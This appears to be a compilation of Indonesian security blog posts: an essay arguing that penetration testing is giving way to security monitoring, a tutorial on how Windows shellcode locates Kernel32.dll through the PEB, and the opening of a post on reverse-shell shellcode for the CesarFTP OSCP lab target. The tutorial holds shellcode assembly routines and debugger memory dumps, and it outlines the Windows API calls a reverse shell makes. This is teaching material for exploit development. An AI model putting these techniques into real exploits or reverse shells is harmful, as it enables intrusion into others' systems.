Saya mulai terlibat aktivitas penetration testing sekitar setahun yang lalu (tahun 2010). Diberikan kesempatan untuk terjun langsung dan belajar pada salah satu perusahaan konsultan security terbaik di Indonesia, dan belajar langsung dari konsultan-konsultan profesional terbaik indonesia yang tidak hanya memiliki pengalaman dalam dunia industri namun juga memiliki pengetahuan serta pengalaman sebagai hacker / intruder selama bertahun-tahun.

Pengalaman saya memang belum banyak dalam hal penetration testing, namun setelah beberapa kali menjalankan project penetration testing saya mulai melihat adanya ‘keterbatasan’ dalam aktivitas tersebut. Dan keterbatasan yang dirasakan tersebut ternyata dijelaskan secara gamblang pada tulisan di blog carnal0wnage. Jika anda belum membaca isi tulisan tersebut, saya persilahkan untuk membacanya terlebih dahulu sebelum melanjutkan membaca tulisan ini.

Originally, pen testing was a simulation of what real attackers would do. Then it became more about validating vuln scan/assessment results. Now its essentially about compliance check boxing. (PCI)

Seperti yang saya paparkan pada awal tulisan, pengalaman saya tentunya masih dangkal untuk dapat berpendapat bahwa fakta diatas adalah kenyataan bagi industri IT security di Indonesia. Namun setidaknya itulah kenyataan yang saya lihat dari industri IT security Indonesia selama setahun ini. Fakta terakhir dimana aktivitas penetration testing ‘hanya’ untuk compliance check-boxing tentunya bukanlah sesuatu yang baru, dan ternyata memang bukan hanya di Indonesia karena fakta tersebut pun terjadi pada berbagai perusahaan di luar negeri.

A large number of pen test companies out there employ people who know how to run tools like Metasploit, Core and Canvas but not much more than that.

Aktivitas penetration testing saat ini sudah diwarnai dengan automated tools seperti metasploit framework ataupun immunity canvas. Tentu saja beberapa pihak dapat mendebat dengan mengatakan bahwa penggunaan automated tools tidak selalu efisien karena tidak bisa menggantikan faktor manusia yang memiliki kecerdasan lebih ataupun insting untuk benar-benar mensimulasikan ‘real attack’, namun cepat atau lambat perusahaan-perusahaan dengan infrastruktur IT akan menyadari adanya tools-tools tersebut dan merasa jauh lebih murah jika mereka membeli produk yang sudah jadi untuk kemudian dijalankan oleh staff IT mereka. Dan saya sudah melihat secara langsung beberapa pihak / perusahaan di Indonesia mulai membeli produk-produk metasploit express dan immunity canvas.

Pada titik ini tentunya jika seseorang adalah pemegang keputusan suatu perusahaan dan dihadapkan pada situasi dimana orang tersebut bertanggung jawab terhadap keamanan data perusahaan, tentunya berharap aktivitas penetration testing dapat membantu menaikan tingkat keamanan infrastruktur IT perusahaan nya agar tidak terjadi kebocoran data yang dapat merugikan perusahaan. Pilihannya tentu saja mencari konsultan security berpengalaman untuk melakukan pekerjaan tersebut (dengan asumsi bahwa bukan untuk check-list sertifikasi perusahaan), dan diharapkan konsultan tersebut dapat mensimulasikan hal-hal yang dapat dilakukan oleh real attacker semaksimal mungkin. Namun jika orang tersebut menerima informasi mengenai immunity canvas yang seringkali memasukan koleksi eksploit 0day (tidak ada di public exploit repository seperti metasploit) sehingga benar-benar dapat menunjukan serangan dari real attacker dan dapat dibeli dengan harga $1,500, apakah dia tetap akan mencari konsultan security sedangkan staff IT perusahaannya mampu menjalankan tools tersebut?

Untuk membuat keadaan lebih buruk, saya ambil contoh langsung dari lapangan yang benar-benar akan menunjukan kenyataan pahit dari aktivitas penetration testing. Suatu project penetration testing biasanya dilakukan dalam rentang waktu tertentu, katakanlah 2 bulan. Dalam waktu 2 bulan tentunya ditemukan berbagai macam security hole, dan setelah pekerjaan selesai security hole tersebut tentunya diharapkan akan ditutup oleh client. Client kemudian akan membayar dan pekerjaan dianggap selesai setelah security hole ditutup.

Satu hari setelah project di tutup, ternyata client tersebut mengalami insiden dimana salah satu infrastrukturnya dihantam oleh public exploit yang advisories nya muncul beberapa jam sebelumnya. Kita semua tahu bahwa situs-situs seperti exploit-db ataupun metasploit menyimpan public exploit hasil kontribusi masyarakat dunia. Client yang sebelumnya sudah merasa aman karena security hole sudah ditutup dan konsultan telah dibayar penuh, harus menerima kenyataan pahit bahwa data internal mereka leak dan perusahaan mendapatkan kerugian besar. Ini adalah fakta terbesar menurut saya yang membuat aktivitas penetration testing dengan tujuan menutup security hole tidak akan membawa banyak manfaat bagi client. Dan yang kita bicarakan baru resiko dari ‘public exploit’, belum real attacker dengan tehnik maupun exploit 0day-nya.

Konsultan security yang baik tentunya akan memberikan masukan dalam report bukan hanya bagaimana caranya mentutup security hole, namun bagaimana ‘mitigasi’ ketika hole lain terbuka untuk meminimalisasi resiko yang akan diterima oleh client. Hal ini sama seperti filosofi patch Grsecurity/PaX pada kernel linux, security hole pada linux tentu akan selalu ditemukan, namun bagaimana caranya agar apabila hole tersebut muncul maka proses eksploitasi tidak akan berhasil. Atau kalaupun berhasil, bagaimana caranya membuat agar penyerang tidak bisa mendapatkan akses lebih jauh lagi dan keberadaannya dalam internal network dapat diketahui dengan cepat.

Teori memang mudah, namun harus diakui bahwa pada umumnya staff IT perusahaan tidak memiliki pengetahuan yang dalam tentang security. Belum lagi ditambah dengan faktor dimana pekerjaan staff IT menyangkut operation sangat banyak dan memakan waktu mereka sehari-hari, sehingga tidak ada waktu lagi untuk urusan security. Jika suatu perusahaan bersedia memberikan resource-nya untuk IT security yang dipisahkan dengan IT operation, maka urusan maintenance security tentu akan lebih mudah dan lebih baik. Namun kemudian muncul masalah dimana pekerjaan IT security menjadi rutinitas (seperti membaca log, membuat report, patching, update database vulnerability, dsb). Dan dengan tenggelam dalam rutinitas security yang mengurus ratusan atau bahkan ribuan resource perusahaan agar setiap titik selalu ter-update, staff IT security akan kesulitan mencari waktu yang tepat agar dapat mengembangkan pengetahuan nya tentang insiden-insiden ataupun tehnik-tehnik serangan terbaru.

Tulisan dari blog carnal0wnage diatas diakhiri dengan pernyataan berikut ini,

Companies and organizations, especially big ones with highly valuable data assets, are going to begin to need a new type of service which tests their infrastructures and security postures in a different way along side automated processes, including testing these processes themselves.

Solusi dari ‘obsolete’-nya aktivitas penetration testing akan menuju pada suatu solusi dimana ‘new type of service’ akan dibutuhkan bagi dunia industri IT security. Tentunya ada beragam solusi yang dapat diambil, namun yang akan di paparkan saat ini adalah IT security monitoring.

Di Indonesia sendiri sepengetahuan saya sudah ada perusahaan security yang sejak awal menjadikan monitoring sebagai core bisnisnya. Dengan monitoring ini maka tentunya dapat menguntungkan kedua belah pihak terhadap beberapa permasalahan yang telah dikemukakan diatas. Misal: client tidak perlu repot-repot memikirkan masalah IT security karena hal ini akan dilakukan oleh 3rd party, dalam hal ini perusahaan konsultan security. Kalaupun client memiliki staff IT security tentunya akan memfokuskan diri pada pekerjaan rutinitas yang dapat di definisikan bersama antara staff IT security dan konsultan security. Konsultan security juga dapat membagi resourcenya menjadi beberapa divisi selain monitoring, seperti red team untuk pekerjaan penetration testing yang dilakukan dalam range waktu tertentu (mis: sebulan sekali) dan divisi research yang akan terus menerus melakukan update informasi mengenai vulnerability, malware, ataupun tehnik-tehnik serangan terbaru yang dapat di implementasikan untuk uji coba oleh team penetration testing. Termasuk membangun sistem vulnerability management untuk dapat mengetahui ragam vulnerability ter-udpate dari berbagai sumber. Selain membangun vulnerability management sendiri, perusahaan konsultant security juga dapat bekerja sama dengan perusahaan-perusahaan yang telah lebih dulu fokus pada bidang tersebut seperti secunia ataupun vupen.

Intinya adalah memecah pekerjaan penetration testing dan mengintegrasikan nya kedalam perusahaan client, dengan metode ini maka client akan mendapatkan resource-resource yang berkompeten dan didedikasikan untuk menjaga keamanan data perusahaan. Sedangkan client dapat fokus pada pengembangan core bisnisnya dengan keyakinan bahwa data-data mereka akan aman.

Bagaimana jika ada client yang sudah memiliki divisi IT security dengan resource-resource potensial seperti diatas serta sistem monitoring yang baik sehingga tidak membutuhkan 3rd party lagi?! mungkin tidak ada kata yang lebih tepat selain ‘selamat’ karena client tersebut bukan hanya memiliki core bisnisnya sendiri namun mungkin bisa menjual bisnis monitoring nya sendiri kepada perusahaan lain (baca: menjadi anak perusahaan yang bergerak di bidang konsultan IT security :) ). Namun tentunya tidak semua client bisa seperti itu, dan memang idealnya client fokus pada core bisnis nya sendiri (mis: banking, telecom) yang akan disibukan dengan urusan operasional sehari-hari, sedangkan untuk urusan keamanan data perusahaan dapat dijamin oleh 3rd party.

Tentunya solusi monitoring diatas akan berjalan dengan sukses apabila dijalankan dengan baik dan benar, serta oleh resource-resource yang berkompeten. Yang pasti, istilah ‘penetration testing is obsolete’ sudah semakin kuat dirasakan, cepat atau lambat client-client yang berharap bahwa tujuan awal penetration testing adalah untuk menjaga keamanan data perusahaan akan meyadari adanya kekurangan dari aktivitas penetration testing dan mencari solusi lain agar budget yang mereka keluarkan tidak sia-sia.

Mungkin ini adalah salah satu solusi, bagaimana solusi lain menurut anda?

PS: Solusi monitoring diatas sedikit banyak di-ilhami dari perusahaan tempat saya bekerja di bidang IT security selama setahun terakhir, dimana pada waktu yang bersamaan ketika saya merasakan kekurangan dari aktivitas penetration testing, pada saat itu juga saya mulai melihat berbagai sisi positif dari IT security monitoring yang saat itu sedang dibangun oleh beberapa rekan di perusahaan tersebut sebagai sebuah solusi. Terlepas dari itu semua, opini diatas adalah opini pribadi dan tidak ada sangkut pautnya dengan perusahaan tersebut, sehingga jika ada kekurangan maka mutlak kekurangan tersebut berasal dari pandangan saya pribadi.

Finding Kernel32.dll

Posted: 25th April 2011 by mrs in School

Dalam dunia shellcoding dengan target sistem operasi windows, metode menemukan lokasi Kernel32.dll umumnya menggunakan algoritma yang sama. Perbedaan terdapat dalam implementasinya saja.

Yang biasanya menjadi pertanyaan adalah untuk apa suatu shellcode menemukan lokasi Kernel32.dll?! Untuk mempermudah maka kita akan melihat kembali hal-hal yang biasanya ingin dicapai oleh suatu shellcode. Kita tahu bahwa shellcode merupakan deretan kode-kode yang diharapkan akan dieksekusi oleh target setelah proses eksploitasi berhasil, pada tahap ini biasanya disebut ‘after code execution is gained’. Dengan menggunakan shellcode, seorang penyerang akan membuat target melakukan beragam operasi sesuai yang di inginkan oleh penyerang. Ambil contoh reverse shell seperti dalam artikel sebelumnya.

Untuk membuat reverse shell maka dibutuhkan beberapa fungsi untuk dieksekusi oleh sistem operasi berbasis Microsoft Windows, diantaranya:

1. WSAStartup(): Digunakan untuk inisialisasi aplikasi yang akan menggunakan fasilitas komunikasi data via TCP/IP.
2. WSASocketA(): Digunakan untuk membuat socket baru.
3. connect(): Digunakan untuk membuka koneksi ke mesin penyerang.
4. CreateProcessA(): Digunakan untuk mengesekusi proses cmd.exe (cmd) dan di-redirect menuju file descriptor dari fungsi connect()

Fungsi-fungsi diatas merupakan fungsi yang di-export oleh library ws2_32.dll, untuk dapat memanfaatkan fungsi-fungsi diatas maka shellcode perlu melakukan load library menggunakan fungsi LoadLibraryA(). Fungsi LoadLibraryA() merupakan fungsi yang di-export oleh Kernel32.dll, nah pada titik inilah alasan mengapa shellcode umumnya akan membutuhkan lokasi dari Kernel32.dll. Setiap versi windows khususnya sebelum versi windows vista (win9x – win2003) akan me-load beragam library pada saat booting ke suatu lokasi memory, namun lokasi memory ini akan berbeda-beda untuk setiap service pack, setiap language version (mis: english version, korean version, dsb).

The Algorithm

Namun satu hal yang pasti adalah Kernel32.dll akan selalu dibutuhkan oleh setiap aplikasi yang berjalan diatas sistem operasi Microsoft Windows. Ambil contoh ketika seseorang menjalankan aplikasi calc.exe pada windows, maka ketika aplikasi calc.exe tersebut dijalankan, aplikasi calc.exe akan mereferensikan lokasi Kernel32.dll pada suatu tempat. Tempat itu disebut PEB (Process Environment Block). Ketika suatu aplikasi memiliki bugs dalam bagian kodenya, maka shellcode yang dimasukan oleh penyerang dapat membaca isi dari PEB. Yang perlu dilakukan oleh shellcode adalah berjalan dari PEB menuju lokasi yang di referensikan untuk mencari alamat memory Kernel32.dll yang di-load oleh windows ketika booting.

Berikut ini bentuk algoritma untuk mencari lokasi Kernel32.dll:

1. Mencari lokasi PEB
2. Mencari lokasi PEB->Ldr
3. Mencari lokasi data yang di-load, dalam hal ini mencari lokasi Kernel32.dll

Berikut ini salah satu bentuk contoh implementasi assembly-nya,

mov ebx, [fs:edx + 0x30]            ; ebx = address of PEB
mov ecx, [ebx + 0x0c]               ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c]               ; ecx = first entry in the initialisation order
                                    ; list
mov ecx, [ecx]                      ; ecx = second entry in list (Kernel32.dll)
mov ebp, [ecx + 0x08]               ; ebp = base address of kernel32.dll
0:000> d FS:00000030
003b:00000030  00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  80 ad 3d e2 00 00 00 00-00 00 00 00 00 00 00 00 ..=.............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000080  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000090  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:000000a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

FS:00000030 merupakan lokasi dari PEB (Process Environment Block). Seperti yang terlihat pada lokasi memory diatas, [FS + 0x30] berisi 0x7ffd8000. 0x7ffd8000 adalah lokasi PEB. Berikut ini contoh PEB,

0:000> !peb
PEB at 7ffd8000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000
    Ldr                       00241ea0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00241f58 . 00242260
    Ldr.InLoadOrderModuleList:           00241ee0 . 00242250
    Ldr.InMemoryOrderModuleList:         00241ee8 . 00242258
            Base TimeStamp                     Module
          400000 4db464f5 Apr 25 00:59:17 2011 C:\cygwin\home\Administrator\shellcode\shellcodetest.exe
        7c900000 4802a12c Apr 14 07:11:24 2008 C:\WINDOWS\system32\ntdll.dll
        7c800000 4802a12c Apr 14 07:11:24 2008 C:\WINDOWS\system32\kernel32.dll
        7e410000 4802a11b Apr 14 07:11:07 2008 C:\WINDOWS\system32\USER32.DLL
        77f10000 4802a0be Apr 14 07:09:34 2008 C:\WINDOWS\system32\GDI32.dll
        73d90000 3b7dfe24 Aug 18 12:33:24 2001 C:\WINDOWS\system32\CRTDLL.DLL
    SubSystemData:     00000000
    ProcessHeap:       00140000
    ProcessParameters: 00020000
    WindowTitle:  'C:\cygwin\home\Administrator\shellcode\shellcodetest.exe'
    ImageFile:    'C:\cygwin\home\Administrator\shellcode\shellcodetest.exe'
    CommandLine:  'C:\cygwin\home\Administrator\shellcode\shellcodetest.exe'
    DllPath:      'C:\cygwin\home\Administrator\shellcode;C:\WINDOWS\system32;C:\WINDOWS\system;C:\WINDOWS;.;C:\devel\windbg\winext\arcade;C:\Program Files\Parallels\Parallels Tools\Applications;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\IDM Computer Solutions\UltraEdit\;C:\devel\python27;C:\devel\lcc\bin;C:\devel\nasm'
    Environment:  00010000
        ALLUSERSPROFILE=C:\Documents and Settings\All Users
        APPDATA=C:\Documents and Settings\Administrator\Application Data
        CLIENTNAME=Console
        CommonProgramFiles=C:\Program Files\Common Files
        COMPUTERNAME=GRINDELWALD2908
        ComSpec=C:\WINDOWS\system32\cmd.exe
        FP_NO_HOST_CHECK=NO
        HOMEDRIVE=C:
        HOMEPATH=\Documents and Settings\Administrator
        LOGONSERVER=\\GRINDELWALD2908
        NUMBER_OF_PROCESSORS=1
        OS=Windows_NT
        Path=C:\devel\windbg\winext\arcade;C:\Program Files\Parallels\Parallels Tools\Applications;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\IDM Computer Solutions\UltraEdit\;C:\devel\python27;C:\devel\lcc\bin;C:\devel\nasm
        PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
        PROCESSOR_ARCHITECTURE=x86
        PROCESSOR_IDENTIFIER=x86 Family 6 Model 23 Stepping 10, GenuineIntel
        PROCESSOR_LEVEL=6
        PROCESSOR_REVISION=170a
        ProgramFiles=C:\Program Files
        SESSIONNAME=Console
        SystemDrive=C:
        SystemRoot=C:\WINDOWS
        TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
        TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
        USERDOMAIN=GRINDELWALD2908
        USERNAME=Administrator
        USERPROFILE=C:\Documents and Settings\Administrator
        WINDBG_DIR=C:\devel\windbg
        windir=C:\WINDOWS

Bentuk diatas adalah bentuk yang sudah diformat oleh windbg sehingga mudah untuk dibaca, bentuk diatas mengambil dari ‘raw data’ dari proses yang berjalan. Berikut ini contoh ‘raw data’ tersebut,

0:000> d 7ffd8000
7ffd8000  00 00 01 00 ff ff ff ff-00 00 40 00 a0 1e 24 00  ..........@...$.
7ffd8010  00 00 02 00 00 00 00 00-00 00 14 00 00 d6 97 7c  ...............|
7ffd8020  00 10 90 7c e0 10 90 7c-01 00 00 00 70 29 41 7e  ...|...|....p)A~
7ffd8030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
7ffd8040  c0 d5 97 7c 03 00 00 00-00 00 00 00 00 00 6f 7f  ...|..........o.
7ffd8050  00 00 6f 7f 88 06 6f 7f-00 00 fb 7f 00 10 fc 7f  ..o...o.........
7ffd8060  00 20 fd 7f 01 00 00 00-70 00 00 00 00 00 00 00  . ......p.......
7ffd8070  00 80 9b 07 6d e8 ff ff-00 00 10 00 00 20 00 00  ....m........ ..

Bisa kita lihat bahwa bentuk pertama merupakan interpretasi dari bentuk ‘raw’ diatas agar lebih mudah dibaca dan lebih informatif. Selanjutnya yang akan kita lihat adalah [PEB + 0x0c] berisi 0x00241ea0. 0x00241ea0 merupakan pointer yang menunjuk lokasi dari PEB->Ldr (informasi detail mengenai struktur PEB tidak akan dibahas disini). Kita dapat melihat isi memory yang ditunjuk oleh 0x00241ea0 seperti berikut ini,

0:000> d 00241ea0
00241ea0  28 00 00 00 01 f0 ad ba-00 00 00 00 e0 1e 24 00  (.............$.
00241eb0  50 22 24 00 e8 1e 24 00-58 22 24 00 58 1f 24 00  P"$...$.X"$.X.$.
00241ec0  60 22 24 00 00 00 00 00-ab ab ab ab ab ab ab ab  `"$.............
00241ed0  00 00 00 00 00 00 00 00-0d 00 08 00 cd 07 18 00  ................
00241ee0  48 1f 24 00 ac 1e 24 00-50 1f 24 00 b4 1e 24 00  H.$...$.P.$...$.
00241ef0  00 00 00 00 00 00 00 00-00 00 40 00 25 12 40 00  ..........@.%.@.
00241f00  00 60 00 00 70 00 72 00-30 07 02 00 22 00 24 00  .`..p.r.0..."
.$.
00241f10  7e 07 02 00 00 50 00 00-ff ff 00 00 f0 b2 97 7c  ~....P.........|

Selanjutnya adalah mencari pointer modul pertama dari list Ldr->InMemoryOrder, pointer tersebut terletak pada offset 0x1c dari Ldr, yaitu [0x00241ea0 + 0x1c] = [0x00241ebc]. Isi dari lokasi memory [0x00241ebc] dapat dilihat diatas, yaitu 0x00241f58.

Hasil dump lokasi 0x00241f58 menunjukan hasil sebagai berikut,

0:000> d 00241f58
00241f58  20 20 24 00 bc 1e 24 00-00 00 90 7c 28 2c 91 7c    $...$....|(,.|
00241f68  00 f0 0a 00 3a 00 08 02-28 d0 97 7c 12 00 14 00  ....:...(..|....

Dan apabila kita melakukan dump beberapa offset setelah akan terlihat struktur dari modul-modul yang di-load dan disimpan dalam PEB,

0:000> d 00241f58
00241f58  20 20 24 00 bc 1e 24 00-00 00 90 7c 28 2c 91 7c    $...$....|(,.|
00241f68  00 f0 0a 00 3a 00 08 02-28 d0 97 7c 12 00 14 00  ....:...(..|....
00241f78  58 21 92 7c 04 40 08 80-ff ff 00 00 c8 b2 97 7c  X!.|.@.........|
00241f88  c8 b2 97 7c 2c a1 02 48-00 00 00 00 00 00 00 00  ...|,..H........
00241f98  ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 00  ................
00241fa8  0c 00 0d 00 e3 07 1e 00-43 00 3a 00 5c 00 57 00  ........C.:.\.W.
00241fb8  49 00 4e 00 44 00 4f 00-57 00 53 00 5c 00 73 00  I.N.D.O.W.S.\.s.
00241fc8  79 00 73 00 74 00 65 00-6d 00 33 00 32 00 5c 00  y.s.t.e.m.3.2.\.
0:000> d
00241fd8  6b 00 65 00 72 00 6e 00-65 00 6c 00 33 00 32 00  k.e.r.n.e.l.3.2.
00241fe8  2e 00 64 00 6c 00 6c 00-00 00 ab ab ab ab ab ab  ..d.l.l.........
00241ff8  ab ab ee fe ee fe ee fe-00 00 00 00 00 00 00 00  ................
00242008  0d 00 0c 00 17 07 18 00-d0 20 24 00 48 1f 24 00  ......... $.H.$.
00242018  d8 20 24 00 50 1f 24 00-a0 21 24 00 58 1f 24 00  . $.P.$..!$.X.$.
00242028  00 00 80 7c 3e b6 80 7c-00 60 0f 00 40 00 42 00  ...|>..|.`..@.B.
00242038  b0 1f 24 00 18 00 1a 00-d8 1f 24 00 04 40 08 80  ..$.......$..@..
00242048  ff ff 00 00 b0 b2 97 7c-b0 b2 97 7c 2c a1 02 48  .......|...|,..H
0:000> d
00242058  00 00 00 00 00 00 00 00-ab ab ab ab ab ab ab ab  ................
00242068  00 00 00 00 00 00 00 00-0b 00 0d 00 18 07 1a 00  ................
00242078  43 00 3a 00 5c 00 57 00-49 00 4e 00 44 00 4f 00  C.:.\.W.I.N.D.O.
00242088  57 00 53 00 5c 00 73 00-79 00 73 00 74 00 65 00  W.S.\.s.y.s.t.e.
00242098  6d 00 33 00 32 00 5c 00-55 00 53 00 45 00 52 00  m.3.2.\.U.S.E.R.
002420a8  33 00 32 00 2e 00 44 00-4c 00 4c 00 00 00 ab ab  3.2...D.L.L.....
002420b8  ab ab ab ab ab ab ee fe-00 00 00 00 00 00 00 00  ................
002420c8  0d 00 0b 00 0f 07 18 00-90 21 24 00 10 20 24 00  .........!$.. $.
0:000> d
002420d8  98 21 24 00 18 20 24 00-60 22 24 00 a0 21 24 00  .!$.. $.`"$..!$.
002420e8  00 00 41 7e 17 b2 41 7e-00 10 09 00 3c 00 3e 00  ..A~..A~....<.>.
002420f8  78 20 24 00 14 00 16 00-a0 20 24 00 06 40 0c 80  x $...... $..@..
00242108  ff ff 00 00 00 b3 97 7c-00 b3 97 7c 1b a1 02 48  .......|...|...H
00242118  00 00 00 00 00 00 00 00-ab ab ab ab ab ab ab ab  ................
00242128  00 00 00 00 00 00 00 00-0b 00 0d 00 30 07 1c 00  ............0...
00242138  43 00 3a 00 5c 00 57 00-49 00 4e 00 44 00 4f 00  C.:.\.W.I.N.D.O.
00242148  57 00 53 00 5c 00 73 00-79 00 73 00 74 00 65 00  W.S.\.s.y.s.t.e.
0:000> d
00242158  6d 00 33 00 32 00 5c 00-47 00 44 00 49 00 33 00  m.3.2.\.G.D.I.3.
00242168  32 00 2e 00 64 00 6c 00-6c 00 00 00 ab ab ab ab  2...d.l.l.......
00242178  ab ab ab ab ee fe ee fe-00 00 00 00 00 00 00 00  ................
00242188  0d 00 0b 00 27 07 18 00-50 22 24 00 d0 20 24 00  ....'...P"
$.. $.
00242198  58 22 24 00 d8 20 24 00-e0 20 24 00 20 20 24 00  X"$.. $.. $.  $.
002421a8  00 00 f1 77 87 65 f1 77-00 90 04 00 3a 00 3c 00  ...w.e.w....:.<.
002421b8  38 21 24 00 12 00 14 00-60 21 24 00 06 40 0c 80  8!$.....`!$..@..
002421c8  ff ff 00 00 90 b2 97 7c-90 b2 97 7c be a0 02 48  .......|...|...H
0:000> d
002421d8  00 00 00 00 00 00 00 00-ab ab ab ab ab ab ab ab  ................
002421e8  00 00 00 00 00 00 00 00-0b 00 0d 00 28 07 1a 00  ............(...
002421f8  43 00 3a 00 5c 00 57 00-49 00 4e 00 44 00 4f 00  C.:.\.W.I.N.D.O.
00242208  57 00 53 00 5c 00 73 00-79 00 73 00 74 00 65 00  W.S.\.s.y.s.t.e.
00242218  6d 00 33 00 32 00 5c 00-43 00 52 00 54 00 44 00  m.3.2.\.C.R.T.D.
00242228  4c 00 4c 00 2e 00 44 00-4c 00 4c 00 00 00 ab ab  L.L...D.L.L.....
00242238  ab ab ab ab ab ab ee fe-00 00 00 00 00 00 00 00  ................
00242248  0d 00 0b 00 5f 07 18 00-ac 1e 24 00 90 21 24 00  ...._.....$..!$.

Jika kita lihat beberapa offset didekat 0x00241f58, maka terlihat jelas bahwa ada deretan karakter ASCII yang menunjuk C:\windows\system32\kernel32.dll. Dan isi dari 0x00241f58 adalah 0×00242020, menunjukan lokasi pointer yang menunjuk alamat memory modul kernel32.dll (dalam unicode string). Jika kita dump lokasi tersebut,

0:000> d 00242020
00242020  a0 21 24 00 58 1f 24 00-00 00 80 7c 3e b6 80 7c  .!$.X.$....|>..|

[0x002420 + 0x08] adalah lokasi yang dimaksud, sehingga alamat memory dari kernel32.dll adalah 0x7c800000.

Tentu saja algoritma diatas merupakan hasil reverse engineering bertahun-tahun dan menjadi public knowledge. Untuk dapat memahami lebih detail dapat membaca buku Windows Internals.

Hal yang layak menjadi perhatian juga implementasi dari algoritma diatas, berikut ini contoh implementasi yang berbeda untuk mencari lokasi kernel32.dll, perbedaan implementasi umumnya akan berdampak pada size dari shellcode. Contoh berikut ini didapatkan dari projectshellcode.com dimana terdapat proses checking apakah target merupakan microsoft windows 9x atau win nt.

;FUNCTION: find_kernel32

find_kernel32:
    push esi                    ; Save ESI register into stack
    xor eax, eax                ; Zeroed the value of EAX
    mov eax, [fs:eax+0x30]      ; Move content of memory address [FS:0x30] to EAX
    test eax, eax               ; Test the content of EAX, the result will affect SF (Sign Flag)
    js find_kernel32_9x         ; If the content of SF from comparison above is zero, then jump to
                                ; function to find Kernel32.dll for Windows 9x, otherwise jump is not taken
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]       ; Move the content of memory [EAX + 0x1C] into ESI
    lodsd                       ; similar to => mov eax, dword [DS:ESI], thus moving the DWORD content of
                                ; memory address pointed by ESI register into EAX.
    mov eax, [eax + 0x8]        ; Move into EAX the content of address pointed by [EAX+0x8]. This will
                                ; put address of Kernel32.dll on Windows NT (i.e Windows XP) onto EAX
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;END FUNCTION: find_kernel32

Sebagai perbandingan, implementasi diatas menggunakan register ESI, EAX, dan opcode LODSD untuk membaca isi lokasi memory (DWORD). Tentu saja setiap programmer memiliki trik-nya masing-masing dalam hal implementasi, dan perbedaan trik tersebut akan berpengaruh pada ukuran shellcode.

Cheers.

Static Reverse Shellcode

Posted: 22nd April 2011 by mrs in Analysis, School
Tags: , ,

Beberapa bulan yang lalu saya pernah menulis pengalaman ketika melakukan analisis pada cesarftp yang merupakan salah satu challenge untuk sertifikasi OSCP. Pada artikel tersebut, saya menggunakan shellcode berupa bindshell yang dibuat oleh skypher. Shellcode tersebut merupakan implementasi dari paper yang dibuat oleh Dafydd Stuttard dari NGS Software.

Tehnik yang digunakan memang sangat baik untuk membuat shellcode windows berukuran kecil, dan shellcode tersebut termasuk dalam kelas “advanced shellcode”. Implementasi shellcode bersifat dinamis, dalam arti bahwa shellcode akan mencari sendiri (resolve) lokasi-lokasi memory untuk fungsi-fungsi seperti CreateProcessA, WSAStartup, dsb. Fungsi-fungsi tersebut digunakan untuk menjalankan tugas bindshell.

Seperti yang telah kita ketahui bahwa shellcode ada beragam jenis, ada suatu ketika dimana bindshell tidak mungkin bisa digunakan karena ada pembatasan pada target seperti firewall sehingga tidak mungkin membuka koneksi selain port-port yang telah di tentukan (mis: port 21/tcp). Ketika bindshell tidak memungkinkan, maka reverse shell patut untuk dicoba. Seperti inilah mungkin salah satu challenge yang diberikan pada ujian OSCP, keterbatasan pada target sehingga bindshell tidak memungkinkan.

Pada tulisan sebelumnya sudah dibahas mengenai bug cesarftp, bagaimana cara men-trigger bug, serta bagaimana perhitungan untuk memasukan shellcode. Yang akan dibahas kali ini adalah jenis shellcode reverse shell.

Jika ada yang mengambil ujian OSCP mungkin akan menemukan masalah serupa, cesarftp sebagai target dan tidak bisa menggunakan bind shell. Pada OSCP akan diberikan satu mesin lab untuk di uji coba, dan satu server sebagai target yang apabila gagal maka target server tersebut harus di restart. Ini adalah salah satu bentuk unik dari aplikasi cesarftp untuk jenis bug yang beredar public, sejauh yang saya tau implementasi dari metasploit pun setelah menjalankan shellcode maka servis cesarftp pada target akan ‘down’ dan harus di restart.

Kata kuncinya adalah mesin untuk uji coba cesarftp pada lab sama persis dengan mesin yang menjadi target. Sama persis bukan berarti aturan-aturan main antar kedua mesin sama, karena bisa jadi bindshell di mesin lab akan berhasil sementara pada target tidak berhasil karena pada target server dibatasi oleh host-based firewall dimana koneksi dari luar tidak akan berhasil selain untuk port 21, dan inilah yang sepertinya terjadi pada salah satu rekan saya baru-baru ini. Persamaan dari mesin target dan mesin lab adalah jenis sistem operasi yang digunakan, patch level + service pack yang di install. Bagaimana hal ini akan berpengaruh?! tentu saja jika kita kembali pada ‘basic exploitation’ windows maka semua akan mengatakan hal yang sama, perbedaan service pack ataupun language-pack pada sistem operasi microsoft windows akan berpengaruh pada hal-hal seperti system call, dll, lokasi export-symbol, dsb. Itu sebabnya untuk membuat exploit yang reliable seseorang akan berusaha membuat shellcode bersifat dinamis dengan beragam metode, hal ini biasanya digunakan untuk menemukan lokasi Kernel32.dll (yang pasti di load oleh semua aplikasi microsoft windows), lokasi fungsi-fungsi seperti CreateProcessA, WSASocketA, dsb secara otomatis ketika shellcode dijalankan.

